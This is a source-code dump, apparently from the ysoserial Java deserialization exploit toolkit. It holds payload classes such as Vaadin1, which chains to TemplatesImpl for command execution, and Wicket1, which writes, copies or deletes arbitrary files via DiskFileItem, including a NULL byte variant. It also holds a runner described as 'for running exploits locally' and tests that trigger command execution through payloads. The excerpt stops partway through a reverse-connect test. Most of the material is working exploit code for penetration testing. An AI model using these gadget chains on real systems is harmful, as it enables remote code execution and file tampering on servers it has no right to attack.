getPropertyId().getValue () | 38 | // | + | 39 | // +---------------------------------------|------+ 40 | // | 41 | // +-----------------------------+ 42 | // | 43 | // +-----|----------------------------------------------+ 44 | // | v | 45 | // | NestedMethodProperty | 46 | // | | 47 | // | getValue() => java.lang.reflect.Method.invoke () | 48 | // | | | 49 | // +-------------------------------------------|--------+ 50 | // | 51 | // +-----------------------------------+ 52 | // | 53 | // +---|--------------------------------------------+ 54 | // | v | 55 | // | TemplatesImpl.getOutputProperties() | 56 | // | | 57 | // +------------------------------------------------+ 58 | 59 | @Override 60 | public Object getObject (String command) throws Exception 61 | { 62 | Object templ = Gadgets.createTemplatesImpl (command); 63 | PropertysetItem pItem = new PropertysetItem (); 64 | 65 | NestedMethodProperty nmprop = new NestedMethodProperty (templ, "outputProperties"); 66 | pItem.addItemProperty ("outputProperties", nmprop); 67 | 68 | BadAttributeValueExpException b = new BadAttributeValueExpException (""); 69 | Reflections.setFieldValue (b, "val", pItem); 70 | 71 | return b; 72 | } 73 | 74 | public static boolean isApplicableJavaVersion() { 75 | return JavaVersion.isBadAttrValExcReadObj(); 76 | } 77 | 78 | public static void main(final String[] args) throws Exception { 79 | PayloadRunner.run(Vaadin1.class, args); 80 | } 81 | 82 | } 83 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Wicket1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.io.File; 5 | import java.io.IOException; 6 | import java.io.OutputStream; 7 | import java.util.Arrays; 8 | 9 | import org.apache.commons.codec.binary.Base64; 10 | import org.apache.wicket.util.upload.DiskFileItem; 11 | import org.apache.wicket.util.io.DeferredFileOutputStream; 12 | import org.apache.wicket.util.io.ThresholdingOutputStream; 13 | 14 | import ysoserial.payloads.annotation.Authors; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.annotation.PayloadTest; 17 | import ysoserial.payloads.util.PayloadRunner; 18 | import ysoserial.payloads.util.Reflections; 19 | 20 | 21 | /** 22 | * This gadget is almost identical to FileUpload1 since it appears 23 | * that Apache Wicket copied a version of Apache Commons DiskFileItem 24 | * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That 25 | * means that if the target is running less than Oracle Java 7 update 40 26 | * then the NULL byte attack is viable. Otherwise, copy and move attacks 27 | * always work. 28 | * 29 | * This attack is valid for the 1.x and 6.x lines of Apache Wicket but 30 | * was fixed in 1.5.16 and 6.24.0 (released July 2016). 31 | * 32 | * 33 | * Arguments: 34 | * - copyAndDelete;sourceFile;destDir 35 | * - write;destDir;ascii-data 36 | * - writeB64;destDir;base64-data 37 | * - writeOld;destFile;ascii-data 38 | * - writeOldB64;destFile;base64-data 39 | * 40 | * Example: 41 | * Wicket1 "write;/tmp;blue lobster" 42 | * 43 | * Result: 44 | * $ ls -l /tmp/ 45 | * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp 46 | * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp 47 | * blue lobster 48 | */ 49 | @PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition") 50 | @Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"}) 51 | @Authors({ Authors.JACOBAINES }) 52 | public class Wicket1 implements ReleaseableObjectPayload { 53 | 54 | public DiskFileItem getObject(String command) throws Exception { 55 | 56 | String[] parts = command.split(";"); 57 | 58 | if (parts.length != 3) { 59 | throw new IllegalArgumentException("Bad command format."); 60 | } 61 | 62 | if ("copyAndDelete".equals(parts[0])) { 63 | return copyAndDelete(parts[1], parts[2]); 64 | } 65 | else if ("write".equals(parts[0])) { 66 | return write(parts[1], parts[2].getBytes("US-ASCII")); 67 | } 68 | else if ("writeB64".equals(parts[0]) ) { 69 | return write(parts[1], Base64.decodeBase64(parts[2])); 70 | } 71 | else if ("writeOld".equals(parts[0]) ) { 72 | return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII")); 73 | } 74 | else if ("writeOldB64".equals(parts[0]) ) { 75 | return writeOldJRE(parts[1], Base64.decodeBase64(parts[2])); 76 | } 77 | throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); 78 | } 79 | 80 | public void release(DiskFileItem obj) throws Exception { 81 | } 82 | 83 | private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { 84 | return makePayload(0, copyTo, copyAndDelete, new byte[1]); 85 | } 86 | 87 | // writes data to a random filename (update__.tmp) 88 | private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { 89 | return makePayload(data.length + 1, dir, dir + "/whatever", data); 90 | } 91 | 92 | // writes data to an arbitrary file 93 | private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception { 94 | return makePayload(data.length + 1, file + "\0", file, data); 95 | } 96 | 97 | private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { 98 | // if thresh < written length, delete outputFile after copying to repository temp file 99 | // otherwise write the contents to repository temp file 100 | File repository = new File(repoPath); 101 | DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); 102 | File outputFile = new File(filePath); 103 | DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); 104 | OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); 105 | os.write(data); 106 | Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); 107 | Reflections.setFieldValue(diskFileItem, "dfos", dfos); 108 | Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); 109 | return diskFileItem; 110 | } 111 | 112 | public static void main ( final String[] args ) throws Exception { 113 | PayloadRunner.run(FileUpload1.class, args); 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/annotation/Authors.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | import java.lang.reflect.AnnotatedElement; 8 | 9 | @Target(ElementType.TYPE) 10 | @Retention(RetentionPolicy.RUNTIME) 11 | public @interface Authors { 12 | String FROHOFF = "frohoff"; 13 | String PWNTESTER = "pwntester"; 14 | String CSCHNEIDER4711 = "cschneider4711"; 15 | String MBECHLER = "mbechler"; 16 | String JACKOFMOSTTRADES = "JackOfMostTrades"; 17 | String MATTHIASKAISER = "matthias_kaiser"; 18 | String GEBL = "gebl"; 19 | String JACOBAINES = "jacob-baines"; 20 | String JASINNER = "jasinner"; 21 | String KULLRICH = "kai_ullrich"; 22 | String TINT0 = "_tint0"; 23 | String SCRISTALLI = "scristalli"; 24 | String HANYRAX = "hanyrax"; 25 | String EDOARDOVIGNATI = "EdoardoVignati"; 26 | String KORLR = "koalr"; 27 | 28 | String[] value() default {}; 29 | 30 | public static class Utils { 31 | public static String[] getAuthors(AnnotatedElement annotated) { 32 | Authors authors = annotated.getAnnotation(Authors.class); 33 | if (authors != null && authors.value() != null) { 34 | return authors.value(); 35 | } else { 36 | return new String[0]; 37 | } 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/annotation/Dependencies.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | import java.lang.reflect.AnnotatedElement; 8 | 9 | @Target(ElementType.TYPE) 10 | @Retention(RetentionPolicy.RUNTIME) 11 | public @interface Dependencies { 12 | String[] value() default {}; 13 | 14 | public static class Utils { 15 | public static String[] getDependencies(AnnotatedElement annotated) { 16 | Dependencies deps = annotated.getAnnotation(Dependencies.class); 17 | if (deps != null && deps.value() != null) { 18 | return deps.value(); 19 | } else { 20 | return new String[0]; 21 | } 22 | } 23 | 24 | public static String[] getDependenciesSimple(AnnotatedElement annotated) { 25 | String[] deps = getDependencies(annotated); 26 | String[] simple = new String[deps.length]; 27 | for (int i = 0; i < simple.length; i++) { 28 | simple[i] = deps[i].split(":", 2)[1]; 29 | } 30 | return simple; 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/annotation/PayloadTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.annotation; 2 | 3 | import java.lang.annotation.Retention; 4 | import java.lang.annotation.RetentionPolicy; 5 | 6 | /** 7 | * @author mbechler 8 | * 9 | */ 10 | @Retention(RetentionPolicy.RUNTIME) 11 | public @interface PayloadTest { 12 | String skip() default ""; 13 | 14 | String precondition() default ""; 15 | 16 | String harness() default ""; 17 | 18 | String flaky() default ""; 19 | } 20 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/ClassFiles.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | 7 | public class ClassFiles { 8 | public static String classAsFile(final Class clazz) { 9 | return classAsFile(clazz, true); 10 | } 11 | 12 | public static String classAsFile(final Class clazz, boolean suffix) { 13 | String str; 14 | if (clazz.getEnclosingClass() == null) { 15 | str = clazz.getName().replace(".", "/"); 16 | } else { 17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 18 | } 19 | if (suffix) { 20 | str += ".class"; 21 | } 22 | return str; 23 | } 24 | 25 | public static byte[] classAsBytes(final Class clazz) { 26 | try { 27 | final byte[] buffer = new byte[1024]; 28 | final String file = classAsFile(clazz); 29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 30 | if (in == null) { 31 | throw new IOException("couldn't find '" + file + "'"); 32 | } 33 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | int len; 35 | while ((len = in.read(buffer)) != -1) { 36 | out.write(buffer, 0, len); 37 | } 38 | return out.toByteArray(); 39 | } catch (IOException e) { 40 | throw new RuntimeException(e); 41 | } 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/JavaVersion.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public class JavaVersion { 9 | 10 | 11 | public int major; 12 | public int minor; 13 | public int update; 14 | 15 | 16 | 17 | public static JavaVersion getLocalVersion() { 18 | String property = System.getProperties().getProperty("java.version"); 19 | if ( property == null ) { 20 | return null; 21 | } 22 | JavaVersion v = new JavaVersion(); 23 | String parts[] = property.split("\\.|_|-"); 24 | int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix 25 | v.major = Integer.parseInt(parts[start + 0]); 26 | v.minor = Integer.parseInt(parts[start + 1]); 27 | v.update = Integer.parseInt(parts[start + 2]); 28 | return v; 29 | } 30 | 31 | public static boolean isAnnInvHUniversalMethodImpl() { 32 | JavaVersion v = JavaVersion.getLocalVersion(); 33 | return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); 34 | } 35 | 36 | public static boolean isBadAttrValExcReadObj() { 37 | JavaVersion v = JavaVersion.getLocalVersion(); 38 | return v != null && (v.major > 8 && v.update >= 76); 39 | } 40 | 41 | public static boolean isAtLeast(int major) { 42 | JavaVersion v = JavaVersion.getLocalVersion(); 43 | return v != null && v.major >= major; 44 | } 45 | } 46 | 47 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/PayloadRunner.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import java.io.File; 4 | import java.util.concurrent.Callable; 5 | 6 | import ysoserial.Deserializer; 7 | import ysoserial.Serializer; 8 | import static ysoserial.Deserializer.deserialize; 9 | import static ysoserial.Serializer.serialize; 10 | import ysoserial.payloads.ObjectPayload; 11 | import ysoserial.payloads.ObjectPayload.Utils; 12 | import ysoserial.secmgr.ExecCheckingSecurityManager; 13 | 14 | /* 15 | * utility class for running exploits locally from command line 16 | */ 17 | @SuppressWarnings("unused") 18 | public class PayloadRunner { 19 | 20 | public static void run(final Class> clazz, final String[] args) throws Exception { 21 | // ensure payload generation doesn't throw an exception 22 | byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable(){ 23 | public byte[] call() throws Exception { 24 | final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd(); 25 | 26 | System.out.println("generating payload object(s) for command: '" + command + "'"); 27 | 28 | ObjectPayload payload = clazz.newInstance(); 29 | final Object objBefore = payload.getObject(command); 30 | 31 | System.out.println("serializing payload"); 32 | byte[] ser = Serializer.serialize(objBefore); 33 | Utils.releasePayload(payload, objBefore); 34 | return ser; 35 | }}); 36 | 37 | try { 38 | System.out.println("deserializing payload"); 39 | final Object objAfter = Deserializer.deserialize(serialized); 40 | } catch (Exception e) { 41 | e.printStackTrace(); 42 | } 43 | 44 | } 45 | 46 | private static String getDefaultTestCmd() { 47 | return getFirstExistingFile( 48 | "C:\\Windows\\System32\\calc.exe", 49 | "/Applications/Calculator.app/Contents/MacOS/Calculator", 50 | "/usr/bin/gnome-calculator", 51 | "/usr/bin/kcalc" 52 | ); 53 | } 54 | 55 | private static String getFirstExistingFile(String ... files) { 56 | for (String path : files) { 57 | if (new File(path).exists()) { 58 | return path; 59 | } 60 | } 61 | throw new UnsupportedOperationException("no known test executable"); 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/Reflections.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import java.lang.reflect.AccessibleObject; 4 | import java.lang.reflect.Constructor; 5 | import java.lang.reflect.Field; 6 | import java.lang.reflect.InvocationTargetException; 7 | 8 | import sun.reflect.ReflectionFactory; 9 | 10 | import com.nqzero.permit.Permit; 11 | 12 | @SuppressWarnings ( "restriction" ) 13 | public class Reflections { 14 | 15 | public static void setAccessible(AccessibleObject member) { 16 | // quiet runtime warnings from JDK9+ 17 | Permit.setAccessible(member); 18 | } 19 | 20 | public static Field getField(final Class clazz, final String fieldName) { 21 | Field field = null; 22 | try { 23 | field = clazz.getDeclaredField(fieldName); 24 | setAccessible(field); 25 | } 26 | catch (NoSuchFieldException ex) { 27 | if (clazz.getSuperclass() != null) 28 | field = getField(clazz.getSuperclass(), fieldName); 29 | } 30 | return field; 31 | } 32 | 33 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 34 | final Field field = getField(obj.getClass(), fieldName); 35 | field.set(obj, value); 36 | } 37 | 38 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { 39 | final Field field = getField(obj.getClass(), fieldName); 40 | return field.get(obj); 41 | } 42 | 43 | public static Constructor getFirstCtor(final String name) throws Exception { 44 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; 45 | setAccessible(ctor); 46 | return ctor; 47 | } 48 | 49 | public static Object newInstance(String className, Object ... args) throws Exception { 50 | return getFirstCtor(className).newInstance(args); 51 | } 52 | 53 | public static T createWithoutConstructor ( Class classToInstantiate ) 54 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 55 | return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); 56 | } 57 | 58 | @SuppressWarnings ( {"unchecked"} ) 59 | public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) 60 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 61 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 62 | setAccessible(objCons); 63 | Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 64 | setAccessible(sc); 65 | return (T)sc.newInstance(consArgs); 66 | } 67 | 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/secmgr/DelegateSecurityManager.java: -------------------------------------------------------------------------------- 1 | package ysoserial.secmgr; 2 | 3 | import java.io.FileDescriptor; 4 | import java.net.InetAddress; 5 | import java.security.Permission; 6 | 7 | @SuppressWarnings({"deprecation"}) 8 | public class DelegateSecurityManager extends SecurityManager { 9 | private SecurityManager securityManager; 10 | 11 | public SecurityManager getSecurityManager() { 12 | return securityManager; 13 | } 14 | 15 | public void setSecurityManager(SecurityManager securityManager) { 16 | this.securityManager = securityManager; 17 | } 18 | 19 | //BEGIN fixes for JDK10+ compatibility 20 | 21 | @SuppressWarnings({"deprecation"}) 22 | //@Override 23 | public boolean getInCheck() { 24 | //return getSecurityManager().getInCheck(); 25 | return false; 26 | } 27 | 28 | @SuppressWarnings({"deprecation"}) 29 | //@Override 30 | public boolean checkTopLevelWindow(Object window) { 31 | //return getSecurityManager().checkTopLevelWindow(window); 32 | return true; 33 | } 34 | 35 | @SuppressWarnings({"deprecation"}) 36 | //@Override 37 | public void checkSystemClipboardAccess() { 38 | //getSecurityManager().checkSystemClipboardAccess(); 39 | } 40 | 41 | @SuppressWarnings({"deprecation"}) 42 | //@Override 43 | public void checkAwtEventQueueAccess() { 44 | //getSecurityManager().checkAwtEventQueueAccess(); 45 | } 46 | 47 | @SuppressWarnings({"deprecation"}) 48 | //@Override 49 | public void checkMemberAccess(Class clazz, int which) { 50 | //getSecurityManager().checkMemberAccess(clazz, which); 51 | } 52 | 53 | //END fixes for JDK10+ compatibility 54 | 55 | @Override 56 | public Object getSecurityContext() { 57 | return getSecurityManager().getSecurityContext(); 58 | } 59 | 60 | @Override 61 | public void checkPermission(Permission perm) { 62 | getSecurityManager().checkPermission(perm); 63 | } 64 | 65 | @Override 66 | public void checkPermission(Permission perm, Object context) { 67 | getSecurityManager().checkPermission(perm, context); 68 | } 69 | 70 | @Override 71 | public void checkCreateClassLoader() { 72 | getSecurityManager().checkCreateClassLoader(); 73 | } 74 | 75 | @Override 76 | public void checkAccess(Thread t) { 77 | getSecurityManager().checkAccess(t); 78 | } 79 | 80 | @Override 81 | public void checkAccess(ThreadGroup g) { 82 | getSecurityManager().checkAccess(g); 83 | } 84 | 85 | @Override 86 | public void checkExit(int status) { 87 | getSecurityManager().checkExit(status); 88 | } 89 | 90 | @Override 91 | public void checkExec(String cmd) { 92 | getSecurityManager().checkExec(cmd); 93 | } 94 | 95 | @Override 96 | public void checkLink(String lib) { 97 | getSecurityManager().checkLink(lib); 98 | } 99 | 100 | @Override 101 | public void checkRead(FileDescriptor fd) { 102 | getSecurityManager().checkRead(fd); 103 | } 104 | 105 | @Override 106 | public void checkRead(String file) { 107 | getSecurityManager().checkRead(file); 108 | } 109 | 110 | @Override 111 | public void checkRead(String file, Object context) { 112 | getSecurityManager().checkRead(file, context); 113 | } 114 | 115 | @Override 116 | public void checkWrite(FileDescriptor fd) { 117 | getSecurityManager().checkWrite(fd); 118 | } 119 | 120 | @Override 121 | public void checkWrite(String file) { 122 | getSecurityManager().checkWrite(file); 123 | } 124 | 125 | @Override 126 | public void checkDelete(String file) { 127 | getSecurityManager().checkDelete(file); 128 | } 129 | 130 | @Override 131 | public void checkConnect(String host, int port) { 132 | getSecurityManager().checkConnect(host, port); 133 | } 134 | 135 | @Override 136 | public void checkConnect(String host, int port, Object context) { 137 | getSecurityManager().checkConnect(host, port, context); 138 | } 139 | 140 | @Override 141 | public void checkListen(int port) { 142 | getSecurityManager().checkListen(port); 143 | } 144 | 145 | @Override 146 | public void checkAccept(String host, int port) { 147 | getSecurityManager().checkAccept(host, port); 148 | } 149 | 150 | @Override 151 | public void checkMulticast(InetAddress maddr) { 152 | getSecurityManager().checkMulticast(maddr); 153 | } 154 | 155 | @SuppressWarnings({"deprecation"}) 156 | @Override 157 | public void checkMulticast(InetAddress maddr, byte ttl) { 158 | getSecurityManager().checkMulticast(maddr, ttl); 159 | } 160 | 161 | @Override 162 | public void checkPropertiesAccess() { 163 | getSecurityManager().checkPropertiesAccess(); 164 | } 165 | 166 | @Override 167 | public void checkPropertyAccess(String key) { 168 | getSecurityManager().checkPropertyAccess(key); 169 | } 170 | 171 | @Override 172 | public void checkPrintJobAccess() { 173 | getSecurityManager().checkPrintJobAccess(); 174 | } 175 | 176 | @Override 177 | public void checkPackageAccess(String pkg) { 178 | 179 | getSecurityManager().checkPackageAccess(pkg); 180 | } 181 | 182 | @Override 183 | public void checkPackageDefinition(String pkg) { 184 | getSecurityManager().checkPackageDefinition(pkg); 185 | } 186 | 187 | @Override 188 | public void checkSetFactory() { 189 | getSecurityManager().checkSetFactory(); 190 | } 191 | 192 | @Override 193 | public void checkSecurityAccess(String target) { 194 | getSecurityManager().checkSecurityAccess(target); 195 | } 196 | 197 | @Override 198 | public ThreadGroup getThreadGroup() { 199 | return getSecurityManager().getThreadGroup(); 200 | } 201 | } 202 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java: -------------------------------------------------------------------------------- 1 | package ysoserial.secmgr; 2 | 3 | import java.security.Permission; 4 | import java.util.Collections; 5 | import java.util.LinkedList; 6 | import java.util.List; 7 | import java.util.concurrent.Callable; 8 | 9 | // TODO per-thread secmgr 10 | public class ExecCheckingSecurityManager extends SecurityManager { 11 | public ExecCheckingSecurityManager() { 12 | this(true); 13 | } 14 | 15 | public ExecCheckingSecurityManager(boolean throwException) { 16 | this.throwException = throwException; 17 | } 18 | 19 | private final boolean throwException; 20 | 21 | private final List cmds = new LinkedList(); 22 | 23 | public List getCmds() { 24 | return Collections.unmodifiableList(cmds); 25 | } 26 | 27 | @Override 28 | public void checkPermission(final Permission perm) { } 29 | 30 | @Override 31 | public void checkPermission(final Permission perm, final Object context) { } 32 | 33 | @Override 34 | public void checkExec(final String cmd) { 35 | super.checkExec(cmd); 36 | 37 | cmds.add(cmd); 38 | 39 | if (throwException) { 40 | // throw a special exception to ensure we can detect exec() in the test 41 | throw new ExecException(cmd); 42 | } 43 | }; 44 | 45 | @SuppressWarnings("serial") 46 | public static class ExecException extends RuntimeException { 47 | private final String threadName = Thread.currentThread().getName(); 48 | private final String cmd; 49 | public ExecException(String cmd) { this.cmd = cmd; } 50 | public String getCmd() { return cmd; } 51 | public String getThreadName() { return threadName; } 52 | @ 53 | Override 54 | public String getMessage() { 55 | return "executed `" + getCmd() + "` in [" + getThreadName() + "]"; 56 | } 57 | } 58 | 59 | public void callWrapped(final Runnable runnable) throws Exception { 60 | callWrapped(new Callable(){ 61 | public Void call() throws Exception { 62 | runnable.run(); 63 | return null; 64 | } 65 | }); 66 | } 67 | 68 | public T callWrapped(final Callable callable) throws Exception { 69 | SecurityManager sm = System.getSecurityManager(); // save sm 70 | System.setSecurityManager(this); 71 | try { 72 | T result = callable.call(); 73 | if (throwException && ! getCmds().isEmpty()) { 74 | throw new ExecException(getCmds().get(0)); 75 | } 76 | return result; 77 | } catch (Exception e) { 78 | if (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) { 79 | throw new ExecException(getCmds().get(0)); 80 | } else { 81 | throw e; 82 | } 83 | } finally { 84 | System.setSecurityManager(sm); // restore sm 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/CiTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial; 2 | 3 | import org.junit.Test; 4 | 5 | public class CiTest { 6 | @Test 7 | public void test() { 8 | System.out.println("System.getProperties(): " + System.getProperties()); 9 | System.out.println("System.getenv(): " + System.getenv()); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/CustomDeserializer.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public interface CustomDeserializer { 9 | 10 | 11 | Class getCustomDeserializer (); 12 | 13 | } 14 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/CustomPayloadArgs.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public interface CustomPayloadArgs { 9 | 10 | 11 | String getPayloadArgs (); 12 | 13 | } 14 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/CustomTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test; 2 | 3 | import java.util.concurrent.Callable; 4 | 5 | /** 6 | * @author mbechler 7 | * 8 | */ 9 | public interface CustomTest extends CustomPayloadArgs { 10 | 11 | void run (Callable payload) throws Exception; 12 | } 13 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/WrappedTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test; 2 | 3 | import java.util.concurrent.Callable; 4 | 5 | /** 6 | * @author mbechler 7 | * 8 | */ 9 | public interface WrappedTest extends CustomPayloadArgs { 10 | 11 | Callable createCallable ( Callable innerCallable ); 12 | 13 | } 14 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/exploit/RMIRegistryExploitTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.exploit; 2 | 3 | import java.rmi.RemoteException; 4 | import java.rmi.registry.LocateRegistry; 5 | import java.rmi.registry.Registry; 6 | 7 | public class RMIRegistryExploitTest { 8 | public static void createRegistry(int port) throws RemoteException { 9 | Registry registry = LocateRegistry.createRegistry(port); 10 | } 11 | 12 | public static void main(String[] args) throws RemoteException, InterruptedException { 13 | String portStr = args.length > 0 && args[0] != null ? args[0] : "1099"; 14 | int port = Integer.parseInt(portStr); 15 | createRegistry(port); 16 | while (true) Thread.sleep(1000); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/payloads/CommandExecTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.payloads; 2 | 3 | import org.junit.Assert; 4 | import ysoserial.test.CustomTest; 5 | import ysoserial.test.util.Files; 6 | import ysoserial.test.util.OS; 7 | 8 | import java.io.File; 9 | import java.util.UUID; 10 | import java.util.concurrent.Callable; 11 | 12 | public class CommandExecTest implements CustomTest { 13 | private final File testFile = 14 | new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", "")); 15 | 16 | @Override 17 | public void run(Callable payload) throws Exception { 18 | Assert.assertFalse("test file should not exist", testFile.exists()); 19 | try { 20 | payload.call(); 21 | } catch (Exception e) { 22 | e.printStackTrace(); 23 | } 24 | Files.waitForFile(testFile, 5000); 25 | Assert.assertTrue("test file should exist", testFile.exists()); 26 | testFile.deleteOnExit(); 27 | } 28 | 29 | @Override 30 | public String getPayloadArgs() { 31 | switch (OS.get()) { 32 | case OSX: 33 | case LINUX: return "touch " + testFile; 34 | case WINDOWS: return "powershell -command new-item -type file " + testFile; 35 | default: throw new UnsupportedOperationException("unsupported os"); 36 | } 37 | } 38 | 39 | } 40 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/payloads/FileUploadTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.payloads; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | import java.util.Arrays; 6 | import java.util.concurrent.Callable; 7 | 8 | import org.junit.Assert; 9 | 10 | import com.google.common.io.Files; 11 | 12 | import ysoserial.test.CustomTest; 13 | import ysoserial.test.util.OS; 14 | 15 | /** 16 | * @author mbechler 17 | * 18 | */ 19 | public class FileUploadTest implements CustomTest { 20 | 21 | /** 22 | * 23 | */ 24 | private static final byte[] FDATA = new byte[] {(byte) 0xAA, (byte) 0xBB, (byte) 0xCC, (byte) 0xDD, (byte) 0xEE, (byte) 0xFF }; 25 | private File source; 26 | private File repo; 27 | 28 | 29 | /** 30 | * 31 | */ 32 | public FileUploadTest () { 33 | try { 34 | source = File.createTempFile("fut", "-source"); 35 | repo = Files.createTempDir(); 36 | } 37 | catch ( IOException e ) { 38 | e.printStackTrace(); 39 | } 40 | } 41 | 42 | 43 | public synchronized void run ( Callable payload ) throws Exception { 44 | try { 45 | Files.write(FDATA, this.source); 46 | Assert.assertTrue(this.source.exists()); 47 | payload.call(); 48 | 49 | File found = null; 50 | for (int i = 0; i < 50 && found == null; i++) { // try for 5s before failing 51 | for (File f : this.repo.listFiles()) { 52 | found = f; 53 | break; 54 | } 55 | Thread.sleep(100); 56 | } 57 | Assert.assertNotNull("File not copied", found); 58 | if (OS.get() != OS.WINDOWS) { 59 | // windows' file locking seems to cause this to fail 60 | Assert.assertFalse("Source not deleted", this.source.exists()); 61 | } 62 | Assert.assertTrue("Contents not copied", Arrays.equals(FDATA, Files.toByteArray(found))); 63 | } finally { 64 | if ( this.repo.exists()) { 65 | for ( File f : this.repo.listFiles()) { 66 | safeDeleteOnExit(f); 67 | } 68 | safeDeleteOnExit(this.repo); 69 | } 70 | safeDeleteOnExit(this.source); 71 | } 72 | } 73 | 74 | private static void safeDeleteOnExit(File f) { 75 | try { 76 | if (f.exists()) { 77 | f.deleteOnExit(); 78 | } 79 | } catch (Exception e) { 80 | e.printStackTrace(); 81 | } 82 | } 83 | 84 | public String getPayloadArgs () { 85 | return "copyAndDelete;" + this.source.getAbsolutePath() + ";" + this.repo.getAbsolutePath(); 86 | } 87 | 88 | } 89 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/payloads/JRMPReverseConnectSMTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.payloads; 2 | 3 | 4 | import java.net.URL; 5 | import java.util.concurrent.Callable; 6 | 7 | import ysoserial.test.WrappedTest; 8 | import ysoserial.exploit.JRMPListener; 9 | 10 | 11 | /** 12 | * @author mbechler 13 | * 14 | */ 15 | public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements WrappedTest { 16 | 17 | private int jrmpPort; 18 | 19 | 20 | public JRMPReverseConnectSMTest (String command) { 21 | super(command); 22 